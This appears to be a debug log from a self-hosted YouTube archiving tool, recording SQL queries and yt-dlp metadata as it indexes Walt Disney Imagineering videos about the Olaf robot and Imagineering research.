m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:52.356 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4458] 18:56:52.356 [debug] Current batch of media processed. Will check again in 1000ms 18:56:53.357 [debug] Current batch of media processed. Will check again in 1000ms 18:56:54.358 [debug] Current batch of media processed. Will check again in 1000ms 18:56:55.359 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Walt Disney Imagineering Research & Development is bringing a beloved character to World of Frozen in Disneyland Paris and Hong Kong Disneyland. Olaf is a self-roaming character that will continue to push innovation and immersion within Disney Experiences.\n\n🎥 Watch the full episode of We Call It Imagineering inside Research & Development to see more innovations at Walt Disney Imagineering → https://youtu.be/EoPN02bmzrE\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-experiences/go-behind-the-scenes-in-imagineering-video-series/\n \n🎥 *About the Series*\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 *Explore More Episodes*\n👻 Foolish Mortals → https://youtu.be/CXLICqOYoh0\n🏰 Building Castles → https://youtu.be/dQ_xNj7gkM8\n🎤 On With The Show! → https://youtu.be/Xsrad7a9878\n🎢 Let's Ride → https://youtu.be/IuQPrGLo0QM\n🎶 Soundscapes → https://youtu.be/BSzRyCC_EaU\n🦾 Audio-Animatronics® → https://youtu.be/1e1R2vUORGI\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "duration" => 116, "filename" => "/downloads/Walt Disney Imagineering/2025-12-02 Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen/Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen [dbjm02cvdiQ].mp4", "id" => "dbjm02cvdiQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=dbjm02cvdiQ", "playlist_index" => 11, "timestamp" => 1764640844, "title" => "Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen", "upload_date" => "20251202"} 18:56:55.360 [debug] QUERY OK source="sources" db=0.2ms idle=1954.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:56:55.361 [debug] QUERY OK source="sources" db=0.1ms idle=1955.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:55.361 [debug] QUERY OK source="media_items" db=0.5ms idle=1955.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-02 02:00:44Z], 2] 18:56:55.364 [debug] QUERY OK source="media_items" db=1.7ms idle=1766.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Walt Disney Imagineering Research & Development is bringing a beloved character to World of Frozen in Disneyland Paris and Hong Kong Disneyland. Olaf is a self-roaming character that will continue to push innovation and immersion within Disney Experiences.\n\n🎥 Watch the full episode of We Call It Imagineering inside Research & Development to see more innovations at Walt Disney Imagineering → https://youtu.be/EoPN02bmzrE\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-experiences/go-behind-the-scenes-in-imagineering-video-series/\n \n🎥 *About the Series*\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 *Explore More Episodes*\n👻 Foolish Mortals → https://youtu.be/CXLICqOYoh0\n🏰 Building Castles → https://youtu.be/dQ_xNj7gkM8\n🎤 On With The Show! → https://youtu.be/Xsrad7a9878\n🎢 Let's Ride → https://youtu.be/IuQPrGLo0QM\n🎶 Soundscapes → https://youtu.be/BSzRyCC_EaU\n🦾 Audio-Animatronics® → https://youtu.be/1e1R2vUORGI\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen", "f68d20d4-9766-4cbb-9ec9-5f551ab3900d", "dbjm02cvdiQ", "https://www.youtube.com/watch?v=dbjm02cvdiQ", false, 116, false, 11, "/downloads/Walt Disney Imagineering/2025-12-02 Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen/Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen [dbjm02cvdiQ].mp4", false, false, 2, [], 98, ~U[2025-12-02 02:00:44Z], ~U[2026-03-31 22:56:55Z], ~U[2026-03-31 22:56:55Z], "Walt Disney Imagineering Research & Development is bringing a beloved character to World of Frozen in Disneyland Paris and Hong Kong Disneyland. Olaf is a self-roaming character that will continue to push innovation and immersion within Disney Experiences.\n\n🎥 Watch the full episode of We Call It Imagineering inside Research & Development to see more innovations at Walt Disney Imagineering → https://youtu.be/EoPN02bmzrE\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-experiences/go-behind-the-scenes-in-imagineering-video-series/\n \n🎥 *About the Series*\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 *Explore More Episodes*\n👻 Foolish Mortals → https://youtu.be/CXLICqOYoh0\n🏰 Building Castles → https://youtu.be/dQ_xNj7gkM8\n🎤 On With The Show! → https://youtu.be/Xsrad7a9878\n🎢 Let's Ride → https://youtu.be/IuQPrGLo0QM\n🎶 Soundscapes → https://youtu.be/BSzRyCC_EaU\n🦾 Audio-Animatronics® → https://youtu.be/1e1R2vUORGI\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen", "dbjm02cvdiQ", "https://www.youtube.com/watch?v=dbjm02cvdiQ", 116, false, "/downloads/Walt Disney Imagineering/2025-12-02 Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen/Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen [dbjm02cvdiQ].mp4", false, 2, ~U[2025-12-02 02:00:44Z]] 18:56:55.364 [debug] QUERY OK source="sources" db=0.1ms idle=767.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:55.365 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:55.365 [debug] QUERY OK source="media_items" db=0.2ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3978] 18:56:55.366 [debug] Current batch of media processed. Will check again in 1000ms 18:56:56.366 [debug] Current batch of media processed. Will check again in 1000ms 18:56:57.367 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Step behind the scenes with Walt Disney Imagineering Research & Development and discover how Disney uses robotics, AI, and immersive technology to bring stories to life! From the brand new self-walking Olaf in World of Frozen and BDX Droids to cutting-edge attractions like Millennium Falcon: Smugglers Run, see how magic meets innovation.\n\nDisney Research continues to push boundaries through partnerships with tech leaders like NVIDIA, Epic Games, and Meta. This video highlights our collaboration with Meta using their Wearables Device Access Toolkit and AI glasses to unlock a world of innovation and storytelling for Disney guests and Imagineers.\n \n🔑 *Key Takeaways*\n→ Brand new self-walking Olaf coming to World of Frozen in Disney Parks\n→ Why partnerships with NVIDIA, Epic Games, and Meta power next-gen experiences\n→ We're not just using technology for technology's sake\n→ If we're doing our jobs properly, all of the technology goes away and our guests get immersed in the story that we're trying to tell\n→ Failure is embraced as part of pushing boundaries\n\n📋 *Chapters*\nLook Inside Disney Research Zurich: 1:24 \nOlaf Reveal: 2:27 \nRobotics Development Progression: 6:08\nNVIDIA Conversation: 10:14 \nMillennium Falcon Updates: 12:16\nH.E.R.B.I.E.: 14:47\nBDX Droids: 17:25\nJ.A.R.V.I.S.: 21:09\nStuntronics: 21:57\nLucky the Dinosaur History: 23:41\nNext-Generation Audio-Animatronics® Technology: 26:07\nAquatic Robots: 27:33\nMeta Glasses: 29:40\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-experiences/go-behind-the-scenes-in-imagineering-video-series/\n \n🎥 *About the Series*\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 *Explore More Episodes*\n👻 Foolish Mortals → https://youtu.be/CXLICqOYoh0\n🏰 Building Castles → https://youtu.be/dQ_xNj7gkM8\n🎤 On With The Show! → https://youtu.be/Xsrad7a9878\n🎢 Let's Ride → https://youtu.be/IuQPrGLo0QM\n🎶 Soundscapes → https://youtu.be/BSzRyCC_EaU\n🦾 Audio-Animatronics® → https://youtu.be/1e1R2vUORGI\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "duration" => 1948, "filename" => "/downloads/Walt Disney Imagineering/2025-11-24 Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering/Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering [EoPN02bmzrE].mp4", "id" => "EoPN02bmzrE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=EoPN02bmzrE", "playlist_index" => 12, "timestamp" => 1764003618, "title" => "Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering", "upload_date" => "20251124"} 18:56:57.368 [debug] QUERY OK source="sources" db=0.2ms idle=962.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:56:57.368 [debug] QUERY OK source="sources" db=0.1ms idle=962.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:57.369 [debug] QUERY OK source="media_items" db=0.5ms idle=963.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-24 17:00:18Z], 2] 18:56:57.372 [debug] QUERY OK source="media_items" db=1.8ms idle=964.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Step behind the scenes with Walt Disney Imagineering Research & Development and discover how Disney uses robotics, AI, and immersive technology to bring stories to life! From the brand new self-walking Olaf in World of Frozen and BDX Droids to cutting-edge attractions like Millennium Falcon: Smugglers Run, see how magic meets innovation.\n\nDisney Research continues to push boundaries through partnerships with tech leaders like NVIDIA, Epic Games, and Meta. This video highlights our collaboration with Meta using their Wearables Device Access Toolkit and AI glasses to unlock a world of innovation and storytelling for Disney guests and Imagineers.\n \n🔑 *Key Takeaways*\n→ Brand new self-walking Olaf coming to World of Frozen in Disney Parks\n→ Why partnerships with NVIDIA, Epic Games, and Meta power next-gen experiences\n→ We're not just using technology for technology's sake\n→ If we're doing our jobs properly, all of the technology goes away and our guests get immersed in the story that we're trying to tell\n→ Failure is embraced as part of pushing boundaries\n\n📋 *Chapters*\nLook Inside Disney Research Zurich: 1:24 \nOlaf Reveal: 2:27 \nRobotics Development Progression: 6:08\nNVIDIA Conversation: 10:14 \nMillennium Falcon Updates: 12:16\nH.E.R.B.I.E.: 14:47\nBDX Droids: 17:25\nJ.A.R.V.I.S.: 21:09\nStuntronics: 21:57\nLucky the Dinosaur History: 23:41\nNext-Generation Audio-Animatronics® Technology: 26:07\nAquatic Robots: 27:33\nMeta Glasses: 29:40\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-experiences/go-behind-the-scenes-in-imagineering-video-series/\n \n🎥 *About the Series*\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 *Explore More Episodes*\n👻 Foolish Mortals → https://youtu.be/CXLICqOYoh0\n🏰 Building Castles → https://youtu.be/dQ_xNj7gkM8\n🎤 On With The Show! → https://youtu.be/Xsrad7a9878\n🎢 Let's Ride → https://youtu.be/IuQPrGLo0QM\n🎶 Soundscapes → https://youtu.be/BSzRyCC_EaU\n🦾 Audio-Animatronics® → https://youtu.be/1e1R2vUORGI\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering", "b4a4a716-dbd3-465d-92c6-70851e8e405a", "EoPN02bmzrE", "https://www.youtube.com/watch?v=EoPN02bmzrE", false, 1948, false, 12, "/downloads/Walt Disney Imagineering/2025-11-24 Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering/Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering [EoPN02bmzrE].mp4", false, false, 2, [], 98, ~U[2025-11-24 17:00:18Z], ~U[2026-03-31 22:56:57Z], ~U[2026-03-31 22:56:57Z], "Step behind the scenes with Walt Disney Imagineering Research & Development and discover how Disney uses robotics, AI, and immersive technology to bring stories to life! From the brand new self-walking Olaf in World of Frozen and BDX Droids to cutting-edge attractions like Millennium Falcon: Smugglers Run, see how magic meets innovation.\n\nDisney Research continues to push boundaries through partnerships with tech leaders like NVIDIA, Epic Games, and Meta. This video highlights our collaboration with Meta using their Wearables Device Access Toolkit and AI glasses to unlock a world of innovation and storytelling for Disney guests and Imagineers.\n \n🔑 *Key Takeaways*\n→ Brand new self-walking Olaf coming to World of Frozen in Disney Parks\n→ Why partnerships with NVIDIA, Epic Games, and Meta power next-gen experiences\n→ We're not just using technology for technology's sake\n→ If we're doing our jobs properly, all of the technology goes away and our guests get immersed in the story that we're trying to tell\n→ Failure is embraced as part of pushing boundaries\n\n📋 *Chapters*\nLook Inside Disney Research Zurich: 1:24 \nOlaf Reveal: 2:27 \nRobotics Development Progression: 6:08\nNVIDIA Conversation: 10:14 \nMillennium Falcon Updates: 12:16\nH.E.R.B.I.E.: 14:47\nBDX Droids: 17:25\nJ.A.R.V.I.S.: 21:09\nStuntronics: 21:57\nLucky the Dinosaur History: 23:41\nNext-Generation Audio-Animatronics® Technology: 26:07\nAquatic Robots: 27:33\nMeta Glasses: 29:40\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-experiences/go-behind-the-scenes-in-imagineering-video-series/\n \n🎥 *About the Series*\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 *Explore More Episodes*\n👻 Foolish Mortals → https://youtu.be/CXLICqOYoh0\n🏰 Building Castles → https://youtu.be/dQ_xNj7gkM8\n🎤 On With The Show! → https://youtu.be/Xsrad7a9878\n🎢 Let's Ride → https://youtu.be/IuQPrGLo0QM\n🎶 Soundscapes → https://youtu.be/BSzRyCC_EaU\n🦾 Audio-Animatronics® → https://youtu.be/1e1R2vUORGI\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering", "EoPN02bmzrE", "https://www.youtube.com/watch?v=EoPN02bmzrE", 1948, false, "/downloads/Walt Disney Imagi (truncated) 18:56:57.372 [debug] QUERY OK source="sources" db=0.1ms idle=771.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:57.372 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:57.373 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3032] 18:56:57.373 [debug] Current batch of media processed. Will check again in 1000ms 18:56:58.373 [debug] Current batch of media processed. Will check again in 1000ms 18:56:59.374 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "🎢 Why do roller coasters feel faster in the dark? In this episode of Imagineer That!, join Tom Morrow 2.0 as he goes behind the scenes at Walt Disney Imagineering to uncover the science—and storytelling—behind this thrilling illusion. If you’ve ever wondered how theme parks create unforgettable coaster experiences, this episode breaks it all down with fun facts and real Imagineering insights.\n\n✅ What you’ll learn:\n• How reduced visibility changes your sense of speed and anticipation\n• Why every twist, turn, and drop feels more intense at night\n• How Imagineers use props, lighting, and environmental design to enhance the sensation of speed\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About 